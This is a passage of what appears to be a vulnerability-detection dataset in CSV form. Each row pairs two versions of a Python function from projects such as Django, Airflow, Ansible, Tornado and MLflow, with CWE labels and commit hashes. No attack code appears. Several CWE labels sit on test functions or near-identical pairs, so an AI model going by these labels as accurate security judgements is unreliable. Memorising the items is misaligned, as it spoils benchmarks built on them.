                            user_json_columns.column_name = user_tab_cols.column_name
                    )
                    THEN 1
                    ELSE 0
                END as is_json,
                user_col_comments.comments as col_comment
            FROM user_tab_cols
            LEFT OUTER JOIN
                user_col_comments ON
                user_col_comments.column_name = user_tab_cols.column_name AND
                user_col_comments.table_name = user_tab_cols.table_name
            WHERE user_tab_cols.table_name = UPPER(%s)
            """""",
            [default_table_collation, table_name],
        )
        field_map = {
            column: (
                display_size,
                default.rstrip() if default and default != ""NULL"" else None,
                collation,
                is_autofield,
                is_json,
                comment,
            )
            for (
                column,
                default,
                collation,
                display_size,
                is_autofield,
                is_json,
                comment,
            ) in cursor.fetchall()
        }
        self.cache_bust_counter += 1
        cursor.execute(
            ""SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0"".format(
                self.connection.ops.quote_name(table_name), self.cache_bust_counter
            )
        )
        description = []
        for desc in cursor.description:
            name = desc[0]
            (
                display_size,
                default,
                collation,
                is_autofield,
                is_json,
                comment,
            ) = field_map[name]
            name %= {}  # cx_Oracle, for some reason, doubles percent signs.
            description.append(
                FieldInfo(
                    self.identifier_converter(name),
                    desc[1],
                    display_size,
                    desc[3],
                    desc[4] or 0,
                    desc[5] or 0,
                    *desc[6:],
                    default,
                    collation,
                    is_autofield,
                    is_json,
                    comment,
                )
            )
        return description",CWE-89,django/django,a6d30f50125782db6643d4b24ff30d88adf13cbe,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        # user_tab_columns gives data default for columns
        cursor.execute(
            """"""
            SELECT
                user_tab_cols.column_name,
                user_tab_cols.data_default,
                CASE
                    WHEN user_tab_cols.collation = user_tables.default_collation
                    THEN NULL
                    ELSE user_tab_cols.collation
                END collation,
                CASE
                    WHEN user_tab_cols.char_used IS NULL
                    THEN user_tab_cols.data_length
                    ELSE user_tab_cols.char_length
                END as display_size,
                CASE
                    WHEN user_tab_cols.identity_column = 'YES' THEN 1
                    ELSE 0
                END as is_autofield,
                CASE
                    WHEN EXISTS (
                        SELECT  1
                        FROM user_json_columns
                        WHERE
                            user_json_columns.table_name = user_tab_cols.table_name AND
                            user_json_columns.column_name = user_tab_cols.column_name
                    )
                    THEN 1
                    ELSE 0
                END as is_json,
                user_col_comments.comments as col_comment
            FROM user_tab_cols
            LEFT OUTER JOIN
                user_tables ON user_tables.table_name = user_tab_cols.table_name
            LEFT OUTER JOIN
                user_col_comments ON
                user_col_comments.column_name = user_tab_cols.column_name AND
                user_col_comments.table_name = user_tab_cols.table_name
            WHERE user_tab_cols.table_name = UPPER(%s)
            """""",
            [table_name],
        )
        field_map = {
            column: (
                display_size,
                default.rstrip() if default and default != ""NULL"" else None,
                collation,
                is_autofield,
                is_json,
                comment,
            )
            for (
                column,
                default,
                collation,
                display_size,
                is_autofield,
                is_json,
                comment,
            ) in cursor.fetchall()
        }
        self.cache_bust_counter += 1
        cursor.execute(
            ""SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0"".format(
                self.connection.ops.quote_name(table_name), self.cache_bust_counter
            )
        )
        description = []
        for desc in cursor.description:
            name = desc[0]
            (
                display_size,
                default,
                collation,
                is_autofield,
                is_json,
                comment,
            ) = field_map[name]
            name %= {}  # cx_Oracle, for some reason, doubles percent signs.
            description.append(
                FieldInfo(
                    self.identifier_converter(name),
                    desc[1],
                    display_size,
                    desc[3],
                    desc[4] or 0,
                    desc[5] or 0,
                    *desc[6:],
                    default,
                    collation,
                    is_autofield,
                    is_json,
                    comment,
                )
            )
        return description"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/sensors/test_s3_key.py,1,"def test_poke_wildcard(self, mock_get_file_metadata):
        op = S3KeySensor(task_id='s3_key_sensor', bucket_key='s3://test_bucket/file*', wildcard_match=True)

        mock_get_file_metadata.return_value = []
        assert op.poke(None) is False
        mock_get_file_metadata.assert_called_once_with(""file"", ""test_bucket"")

        mock_get_file_metadata.return_value = [{'Key': 'dummyFile', 'Size': 0}]
        assert op.poke(None) is False

        mock_get_file_metadata.return_value = [{'Key': 'file1', 'Size': 0}]
        assert op.poke(None) is True",CWE-703,apache/airflow,7fed7f31c3a895c0df08228541f955efb16fbf79,"def test_poke_wildcard(self, mock_get_file_metadata):
        op = S3KeySensor(task_id='s3_key_sensor', bucket_key='s3://test_bucket/file*', wildcard_match=True)

        mock_get_file_metadata.return_value = []
        assert op.poke(None) is False
        mock_get_file_metadata.assert_called_once_with(""file"", ""test_bucket"")

        mock_get_file_metadata.return_value = [{'Size': 0}]
        assert op.poke(None) is True"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/escape_test.py,0,"def test_xhtml_escape(self):
        tests = [
            (""<foo>"", ""&lt;foo&gt;""),
            (""<foo>"", ""&lt;foo&gt;""),
            (b""<foo>"", b""&lt;foo&gt;""),
            (""<>&\""'"", ""&lt;&gt;&amp;&quot;&#x27;""),
            (""&amp;"", ""&amp;amp;""),
            (""<\u00e9>"", ""&lt;\u00e9&gt;""),
            (b""<\xc3\xa9>"", b""&lt;\xc3\xa9&gt;""),
        ]  # type: List[Tuple[Union[str, bytes], Union[str, bytes]]]
        for unescaped, escaped in tests:
            self.assertEqual(utf8(xhtml_escape(unescaped)), utf8(escaped))
            self.assertEqual(utf8(unescaped), utf8(xhtml_unescape(escaped)))",CWE-Unknown,tornadoweb/tornado,129d11e071dfb1d6f7cf76b1a169b5ba842cc25c,"def test_xhtml_escape(self):
        tests = [
            (""<foo>"", ""&lt;foo&gt;""),
            (""<foo>"", ""&lt;foo&gt;""),
            (b""<foo>"", b""&lt;foo&gt;""),
            (""<>&\""'"", ""&lt;&gt;&amp;&quot;&#39;""),
            (""&amp;"", ""&amp;amp;""),
            (""<\u00e9>"", ""&lt;\u00e9&gt;""),
            (b""<\xc3\xa9>"", b""&lt;\xc3\xa9&gt;""),
        ]  # type: List[Tuple[Union[str, bytes], Union[str, bytes]]]
        for unescaped, escaped in tests:
            self.assertEqual(utf8(xhtml_escape(unescaped)), utf8(escaped))
            self.assertEqual(utf8(unescaped), utf8(xhtml_unescape(escaped)))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/payloads/payload_handler.py,0,"def get_payload_desc(payload_name):
    '''
    >>> get_payload_desc('tcp')
    'This payload shows TCP socket information'
    '''
    class FakePayload(object):
        def __init__(self):
            self.worker_pool = None
            
    payload = get_payload_instance(payload_name, FakePayload())
    return payload.get_desc()",,andresriancho/w3af,2fa5b252a230a5a6b4efed038d4fce6f5751f8b0,"def get_payload_desc(payload_name):
    '''
    >>> get_payload_desc('tcp')
    'This payload shows TCP socket information'
    '''
    payload = get_payload_instance(payload_name, None)
    return payload.get_desc()"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/utils.py,0,"def super_len(o):
    total_length = None
    current_position = 0

    if hasattr(o, '__len__'):
        total_length = len(o)

    elif hasattr(o, 'len'):
        total_length = o.len

    elif hasattr(o, 'fileno'):
        try:
            fileno = o.fileno()
        except io.UnsupportedOperation:
            pass
        else:
            total_length = os.fstat(fileno).st_size

            # Having used fstat to determine the file length, we need to
            # confirm that this file was opened up in binary mode.
            if 'b' not in o.mode:
                warnings.warn((
                    ""Requests has determined the content-length for this ""
                    ""request using the binary size of the file: however, the ""
                    ""file has been opened in text mode (i.e. without the 'b' ""
                    ""flag in the mode). This may lead to an incorrect ""
                    ""content-length. In Requests 3.0, support will be removed ""
                    ""for files in text mode.""),
                    FileModeWarning
                )

    if hasattr(o, 'tell'):
        try:
            current_position = o.tell()
        except (OSError, IOError):
            # This can happen in some weird situations, such as when the file
            # is actually a special file descriptor like stdin. In this
            # instance, we don't know what the length is, so set it to zero and
            # let requests chunk it instead.
            if total_length is not None:
                current_position = total_length
        else:
            if hasattr(o, 'seek') and total_length is None:
                # StringIO and BytesIO have seek but no usable fileno
                try:
                    # seek to end of file
                    o.seek(0, 2)
                    total_length = o.tell()

                    # seek back to current position to support
                    # partially read file-like objects
                    o.seek(current_position or 0)
                except (OSError, IOError):
                    total_length = 0

    if total_length is None:
        total_length = 0

    return max(0, total_length - current_position)",,psf/requests,fc106ab586b9bfeca37c54780387b24b5d2b13b4,"def super_len(o):
    total_length = None
    current_position = 0

    if hasattr(o, '__len__'):
        total_length = len(o)

    elif hasattr(o, 'len'):
        total_length = o.len

    elif hasattr(o, 'fileno'):
        try:
            fileno = o.fileno()
        except io.UnsupportedOperation:
            pass
        else:
            total_length = os.fstat(fileno).st_size

            # Having used fstat to determine the file length, we need to
            # confirm that this file was opened up in binary mode.
            if 'b' not in o.mode:
                warnings.warn((
                    ""Requests has determined the content-length for this ""
                    ""request using the binary size of the file: however, the ""
                    ""file has been opened in text mode (i.e. without the 'b' ""
                    ""flag in the mode). This may lead to an incorrect ""
                    ""content-length. In Requests 3.0, support will be removed ""
                    ""for files in text mode.""),
                    FileModeWarning
                )

    if hasattr(o, 'tell'):
        try:
            current_position = o.tell()
        except (OSError, IOError):
            # This can happen in some weird situations, such as when the file
            # is actually a special file descriptor like stdin. In this
            # instance, we don't know what the length is, so set it to zero and
            # let requests chunk it instead.
            if total_length is not None:
                current_position = total_length
        else:
            if hasattr(o, 'seek') and total_length is None:
                # StringIO and BytesIO have seek but no useable fileno
                try:
                    # seek to end of file
                    o.seek(0, 2)
                    total_length = o.tell()

                    # seek back to current position to support
                    # partially read file-like objects
                    o.seek(current_position or 0)
                except (OSError, IOError):
                    total_length = 0

    if total_length is None:
        total_length = 0

    return max(0, total_length - current_position)"
,UNKNOWN,UNKNOWN,tests/pytests/integration/modules/test_mac_power_wake_on_net.py,1,"def test_wake_on_network(salt_call_cli):
    """"""
    Test power.get_wake_on_network
    Test power.set_wake_on_network
    """"""

    WAKE_ON_NET = None
    ret = salt_call_cli.run(""power.get_wake_on_network"")
    if isinstance(ret.data, bool):
        WAKE_ON_NET = ret.data

    # If available on this system, test it
    if WAKE_ON_NET is None:
        # Check for not available
        ret = salt_call_cli.run(""power.get_wake_on_network"")
        assert ""Error"" in ret.data
    else:
        ret = salt_call_cli.run(""power.set_wake_on_network"", ""on"")
        assert ret.data

        ret = salt_call_cli.run(""power.get_wake_on_network"")
        assert ret.data

        ret = salt_call_cli.run(""power.set_wake_on_network"", ""off"")
        assert ret.data

        ret = salt_call_cli.run(""power.get_wake_on_network"")
        assert not ret.data

        salt_call_cli.run(""power.set_wake_on_network"", WAKE_ON_NET)",CWE-703,saltstack/salt,ff4a2fb9d1c86806b85699c58f6bcd271d7aeefe,"def test_wake_on_network(salt_call_cli):
    """"""
    Test power.get_wake_on_network
    Test power.set_wake_on_network
    """"""

    WAKE_ON_NET = None
    ret = salt_call_cli.run(""power.get_wake_on_network"")
    if isinstance(ret, bool):
        WAKE_ON_NET = ret

    # If available on this system, test it
    if WAKE_ON_NET is None:
        # Check for not available
        ret = salt_call_cli.run(""power.get_wake_on_network"")
        assert ""Error"" in ret
    else:
        assert salt_call_cli.run(""power.set_wake_on_network"", ""on"")
        assert salt_call_cli.run(""power.get_wake_on_network"")
        assert salt_call_cli.run(""power.set_wake_on_network"", ""off"")
        assert not salt_call_cli.run(""power.get_wake_on_network"")

        salt_call_cli.run(""power.set_wake_on_network"", WAKE_ON_NET)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/generic_relations/tests.py,0,"def test_generic_relation_to_inherited_child(self):
        # GenericRelations to models that use multi-table inheritance work.
        granite = ValuableRock.objects.create(name='granite', hardness=5)
        ValuableTaggedItem.objects.create(content_object=granite, tag=""countertop"", value=1)
        self.assertEqual(ValuableRock.objects.filter(tags__value=1).count(), 1)
        # We're generating a slightly inefficient query for tags__tag - we
        # first join ValuableRock -> TaggedItem -> ValuableTaggedItem, and then
        # we fetch tag by joining TaggedItem from ValuableTaggedItem. The last
        # join isn't necessary, as TaggedItem <-> ValuableTaggedItem is a
        # one-to-one join.
        self.assertEqual(ValuableRock.objects.filter(tags__tag=""countertop"").count(), 1)
        granite.delete()  # deleting the rock should delete the related tag.
        self.assertEqual(ValuableTaggedItem.objects.count(), 0)",CWE-Unknown,django/django,cd0ba8053dfdc81ade9a656dc8049de600638501,"def test_generic_relation_to_inherited_child(self):
        # GenericRelations to models that use multi-table inheritance work.
        granite = ValuableRock.objects.create(name='granite', hardness=5)
        ValuableTaggedItem.objects.create(content_object=granite, tag=""countertop"", value=1)
        granite.delete()  # deleting the rock should delete the related tag.
        self.assertEqual(ValuableTaggedItem.objects.count(), 0)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_scripts/tests.py,0,"def test_custom_command_with_environment(self):
        ""multiple: manage.py can execute user commands if settings are provided in environment""
        args = ['noargs_command']
        out, err = self.run_manage(args, 'alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, ""EXECUTE:NoArgsCommand"")",CWE-Unknown,django/django,621fc1f1d74df2d9240dea88b5f7ebdf472bca38,"def test_custom_command_with_environment(self):
        ""multiple: manage.py can execute user commands if settings are provided in environment""
        args = ['noargs_command']
        out, err = self.run_manage(args, 'alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, ""EXECUTE:NoArgsCommand"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/feedgenerator.py,0,"def __init__(self, title, link, description, language=None, author_email=None,
            author_name=None, author_link=None, subtitle=None, categories=None,
            feed_url=None, feed_copyright=None, feed_guid=None, ttl=None):
        to_unicode = lambda s: force_unicode(s, strings_only=True)
        if categories:
            categories = [force_unicode(c) for c in categories]
        self.feed = {
            'title': to_unicode(title),
            'link': iri_to_uri(link),
            'description': to_unicode(description),
            'language': to_unicode(language),
            'author_email': to_unicode(author_email),
            'author_name': to_unicode(author_name),
            'author_link': iri_to_uri(author_link),
            'subtitle': to_unicode(subtitle),
            'categories': categories or (),
            'feed_url': iri_to_uri(feed_url),
            'feed_copyright': to_unicode(feed_copyright),
            'id': feed_guid or link,
            'ttl': ttl,
        }
        self.items = []",CWE-Unknown,django/django,8926a10fea3f6877b7593cb72c416748f1811905,"def __init__(self, title, link, description, language=None, author_email=None,
            author_name=None, author_link=None, subtitle=None, categories=None,
            feed_url=None, feed_copyright=None, feed_guid=None, ttl=None):
        to_unicode = lambda s: force_unicode(s, strings_only=True)
        if categories:
            categories = [force_unicode(c) for c in categories]
        self.feed = {
            'title': to_unicode(title),
            'link': iri_to_uri(link),
            'description': to_unicode(description),
            'language': force_unicode(language),
            'author_email': to_unicode(author_email),
            'author_name': to_unicode(author_name),
            'author_link': iri_to_uri(author_link),
            'subtitle': to_unicode(subtitle),
            'categories': categories or (),
            'feed_url': iri_to_uri(feed_url),
            'feed_copyright': to_unicode(feed_copyright),
            'id': feed_guid or link,
            'ttl': ttl,
        }
        self.items = []"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_backfills.py,1,"def test_create_backfill_dry_run_with_depends_on_past(
        self, repro_act, repro_exp, run_backwards, status_code, session, dag_maker, test_client
    ):
        with dag_maker(session=session, dag_id=""TEST_DAG_1"", schedule=""0 * * * *"") as dag:
            EmptyOperator(task_id=""mytask"", depends_on_past=True)
        session.query(DagModel).all()
        session.commit()
        from_date = pendulum.parse(""2024-01-01"")
        from_date_iso = to_iso(from_date)
        to_date = pendulum.parse(""2024-02-01"")
        to_date_iso = to_iso(to_date)
        max_active_runs = 5
        data = {
            ""dag_id"": dag.dag_id,
            ""from_date"": f""{from_date_iso}"",
            ""to_date"": f""{to_date_iso}"",
            ""max_active_runs"": max_active_runs,
            ""run_backwards"": run_backwards,
            ""dag_run_conf"": {""param1"": ""val1"", ""param2"": True},
            ""reprocess_behavior"": repro_act,
        }
        response = test_client.post(
            url=""/public/backfills/dry_run"",
            json=data,
        )
        assert response.status_code == status_code

        if response.status_code != 200:
            if run_backwards:
                assert (
                    response.json().get(""detail"")
                    == ""Backfill cannot be run in reverse when the DAG has tasks where depends_on_past=True.""
                )
            else:
                assert (
                    response.json().get(""detail"")
                    == ""DAG has tasks for which depends_on_past=True. You must set reprocess behavior to reprocess completed or reprocess failed.""
                )",CWE-703,apache/airflow,f7bb6065445d042591c80fac29b4483566e6bb1d,"def test_create_backfill_dry_run_with_depends_on_past(
        self, repro_act, repro_exp, run_backwards, status_code, session, dag_maker, test_client
    ):
        with dag_maker(session=session, dag_id=""TEST_DAG_1"", schedule=""0 * * * *"") as dag:
            EmptyOperator(task_id=""mytask"", depends_on_past=True)
        session.query(DagModel).all()
        session.commit()
        from_date = pendulum.parse(""2024-01-01"")
        from_date_iso = to_iso(from_date)
        to_date = pendulum.parse(""2024-02-01"")
        to_date_iso = to_iso(to_date)
        max_active_runs = 5
        data = {
            ""dag_id"": dag.dag_id,
            ""from_date"": f""{from_date_iso}"",
            ""to_date"": f""{to_date_iso}"",
            ""max_active_runs"": max_active_runs,
            ""run_backwards"": run_backwards,
            ""dag_run_conf"": {""param1"": ""val1"", ""param2"": True},
            ""dry_run"": False,
            ""reprocess_behavior"": repro_act,
        }
        response = test_client.post(
            url=""/public/backfills/dry_run"",
            json=data,
        )
        assert response.status_code == status_code

        if response.status_code != 200:
            if run_backwards:
                assert (
                    response.json().get(""detail"")
                    == ""Backfill cannot be run in reverse when the DAG has tasks where depends_on_past=True.""
                )
            else:
                assert (
                    response.json().get(""detail"")
                    == ""DAG has tasks for which depends_on_past=True. You must set reprocess behavior to reprocess completed or reprocess failed.""
                )"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/playbook_include.py,1,"def preprocess_data(self, ds):
        '''
        Regorganizes the data for a PlaybookInclude datastructure to line
        up with what we expect the proper attributes to be
        '''

        assert isinstance(ds, dict)

        # the new, cleaned datastructure, which will have legacy
        # items reduced to a standard structure
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        for (k,v) in iteritems(ds):
            if k == 'include':
                self._preprocess_include(ds, new_ds, k, v)
            else:
                # some basic error checking, to make sure vars are properly
                # formatted and do not conflict with k=v parameters
                if k == 'vars':
                    if 'vars' in new_ds:
                        raise AnsibleParserError(""include parameters cannot be mixed with 'vars' entries for include statements"", obj=ds)
                    elif not isinstance(v, dict):
                        raise AnsibleParserError(""vars for include statements must be specified as a dictionary"", obj=ds)
                new_ds[k] = v

        return super(PlaybookInclude, self).preprocess_data(new_ds)",CWE-703,ansible/ansible,86de1429e57c0ec3c40a6c5bd2c1808ce78b48a4,"def preprocess_data(self, ds):
        '''
        Regorganizes the data for a PlaybookInclude datastructure to line
        up with what we expect the proper attributes to be
        '''

        assert isinstance(ds, dict)

        # the new, cleaned datastructure, which will have legacy
        # items reduced to a standard structure
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        for (k,v) in iteritems(ds):
            if k == 'include':
                self._preprocess_include(ds, new_ds, k, v)
            else:
                # some basic error checking, to make sure vars are properly
                # formatted and do not conflict with k=v parameters
                # FIXME: we could merge these instead, but controlling the order
                #        in which they're encountered could be difficult
                if k == 'vars':
                    if 'vars' in new_ds:
                        raise AnsibleParserError(""include parameters cannot be mixed with 'vars' entries for include statements"", obj=ds)
                    elif not isinstance(v, dict):
                        raise AnsibleParserError(""vars for include statements must be specified as a dictionary"", obj=ds)
                new_ds[k] = v

        return super(PlaybookInclude, self).preprocess_data(new_ds)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/middleware/common.py,0,"def _is_ignorable_404(uri):
    """"""
    Returns True if a 404 at the given URL *shouldn't* notify the site managers.
    """"""
    if getattr(settings, 'IGNORABLE_404_STARTS', ()):
        import warnings
        warnings.warn('The IGNORABLE_404_STARTS setting has been deprecated '
                      'in favour of IGNORABLE_404_URLS.',
                      PendingDeprecationWarning)
        for start in settings.IGNORABLE_404_STARTS:
            if uri.startswith(start):
                return True
    if getattr(settings, 'IGNORABLE_404_ENDS', ()):
        import warnings
        warnings.warn('The IGNORABLE_404_ENDS setting has been deprecated '
                      'in favour of IGNORABLE_404_URLS.',
                      PendingDeprecationWarning)
        for end in settings.IGNORABLE_404_ENDS:
            if uri.endswith(end):
                return True
    return any(pattern.search(uri) for pattern in settings.IGNORABLE_404_URLS)",CWE-Unknown,django/django,171df93170df23d2fea1f8320ddb80c6f6444ff7,"def _is_ignorable_404(uri):
    """"""
    Returns True if a 404 at the given URL *shouldn't* notify the site managers.
    """"""
    for start in settings.IGNORABLE_404_STARTS:
        if uri.startswith(start):
            return True
    for end in settings.IGNORABLE_404_ENDS:
        if uri.endswith(end):
            return True
    return False"
,UNKNOWN,UNKNOWN,test/units/galaxy/test_collection_install.py,1,"def test_build_requirement_from_path(collection_artifact):
    actual = collection.CollectionRequirement.from_path(collection_artifact[0], True)

    assert actual.namespace == u'ansible_namespace'
    assert actual.name == u'collection'
    assert actual.b_path == collection_artifact[0]
    assert actual.api is None
    assert actual.skip is True
    assert actual.versions == set([u'*'])
    assert actual.latest_version == u'*'
    assert actual.dependencies == {}",CWE-703,ansible/ansible,47fc7ab97d4d3a46ec597f1adc98028e84bdaaff,"def test_build_requirement_from_path(collection_artifact):
    actual = collection.CollectionRequirement.from_path(collection_artifact[0], True)

    assert actual.namespace == u'ansible_namespace'
    assert actual.name == u'collection'
    assert actual.b_path == collection_artifact[0]
    assert actual.api is None
    assert actual.skip is True
    assert actual.versions == set([u'*'])
    assert actual.latest_version == u'*'
    assert actual.dependencies == {}"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/environment.py,0,"def execute(
        self,
        command,
        command_env=None,
        preexec_fn=None,
        capture_output=False,
        stdout=None,
        stderr=None,
        stdin=None,
        synchronous=True,
    ):
        if command_env is None:
            command_env = os.environ.copy()
        command_env = {**self._extra_env, **command_env}
        if not isinstance(command, list):
            command = [command]

        if _IS_UNIX:
            separator = "" && ""
        else:
            separator = "" & ""

        command = separator.join(map(str, self._activate_cmd + command))
        if _IS_UNIX:
            command = [""bash"", ""-c"", command]
        else:
            command = [""cmd"", ""/c"", command]
        _logger.info(""=== Running command '%s'"", command)
        return _exec_cmd(
            command,
            env=command_env,
            capture_output=capture_output,
            synchronous=synchronous,
            preexec_fn=preexec_fn,
            close_fds=True,
            stdout=stdout,
            stderr=stderr,
            stdin=stdin,
        )",,mlflow/mlflow,1965215817af31adf7d288bf450df8a85eda342f,"def execute(
        self,
        command,
        command_env=None,
        preexec_fn=None,
        capture_output=False,
        stdout=None,
        stderr=None,
        synchronous=True,
    ):
        if command_env is None:
            command_env = os.environ.copy()
        command_env = {**self._extra_env, **command_env}
        if not isinstance(command, list):
            command = [command]

        if _IS_UNIX:
            separator = "" && ""
        else:
            separator = "" & ""

        command = separator.join(map(str, self._activate_cmd + command))
        if _IS_UNIX:
            command = [""bash"", ""-c"", command]
        else:
            command = [""cmd"", ""/c"", command]
        _logger.info(""=== Running command '%s'"", command)
        return _exec_cmd(
            command,
            env=command_env,
            capture_output=capture_output,
            synchronous=synchronous,
            preexec_fn=preexec_fn,
            close_fds=True,
            stdout=stdout,
            stderr=stderr,
        )"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list), 'The ds (%s) should be a list but was a %s' % (ds, type(ds))

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict), 'The ds (%s) should be a dict but was a %s' % (ds, type(ds))

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds or 'import_tasks' in task_ds or 'include_tasks' in task_ds:
                if 'include' in task_ds:
                    display.deprecated(""The use of 'include' for tasks has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusions or 'include_tasks' for dynamic inclusions"")

                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if 'include_tasks' in task_ds:
                    is_static = False
                elif 'import_tasks' in task_ds:
                    is_static = True
                elif t.static is not None:
                    display.deprecated(""The use of 'static' has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusion, or 'include_tasks' for dynamic inclusion"")
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                        (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_tasks' statements. You should use 'include_tasks' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = os.path.dirname(templar.template(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                ""Error when evaluating variable in include name: %s.\n\n""
                                ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n""
                                ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n""
                                ""sources like group or host vars."" % t.args['_raw_params'],
                                obj=task_ds,
                                suppress_extended_error=True,
                                orig_exc=e)
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            display.warning('file %s is empty and had no tasks to include' % include_file)
                            continue
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically imported: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not ""
                            ""explicitly marked as 'static: yes', we will try and include it dynamically ""
                            ""later. In the future, this will be an error unless 'static: no' is used ""
                            ""on the include task. If you do not want missing includes to be considered ""
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg ""
                            ""options to make all includes static for tasks and/or handlers"" % include_file, version=""2.7""
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). ""
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"",
                                           version=""2.7"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    t.is_static = False
                    task_list.append(t)

            elif 'include_role' in task_ds or 'import_role' in task_ds:
                ir = IncludeRole.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader,
                )

